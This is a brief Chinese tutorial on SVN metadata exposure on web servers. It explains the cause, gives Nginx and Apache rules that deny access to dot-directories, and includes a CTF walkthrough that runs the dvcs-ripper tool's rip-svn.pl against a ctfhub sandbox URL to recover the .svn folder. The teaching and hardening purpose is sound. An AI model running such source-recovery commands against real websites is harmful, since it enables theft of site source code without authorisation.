1、漏洞形成原理
1)什么是SVN?
SVN是subversion的缩写,是一个开放源代码的版本控制系统,通过采用分支管理系统的高效管理,简而言之就是用于多个人共同开发同一个项目,实现共享资源,实现最终集中式的管理。
2)漏洞成因
在服务器上布署代码时。如果是使用 svn checkout 功能来更新代码,而没有配置好目录访问权限,则会存在此漏洞。黑客利用此漏洞,可以下载整套网站的源代码。
在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。
3)漏洞修复
方案一、不要使用svn checkout和svn up更新服务器上的代码,使用svn export(导出)功能代替。
方案二、服务器软件(Nginx、apache、tomcat、IIS等)设置目录权限,禁止访问.svn和.git目录,下面示范为禁止访问点号开头的目录
Nginx的vhosts中配置
location ~ (/\.){
deny all;
}
Apache的vhosts中配置
<Directory ~ "/\.">
Deny from all
</Directory>
2、ctf实战
1)配置工具环境
下载工具
git clone https://github.com/kost/dvcs-ripper
进行简单配置相关要求的组件
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
2)恢复.svn
进入工具目录/dvcs-ripper,执行下面命令开始恢复
./rip-svn.pl http://challenge-2d1ad35b8ccb1dec.sandbox.ctfhub.com:10080/.svn
3)进入.svn目录,查找flag
参考文章:
1、https://www.cnblogs.com/batsing/p/svn-bug.html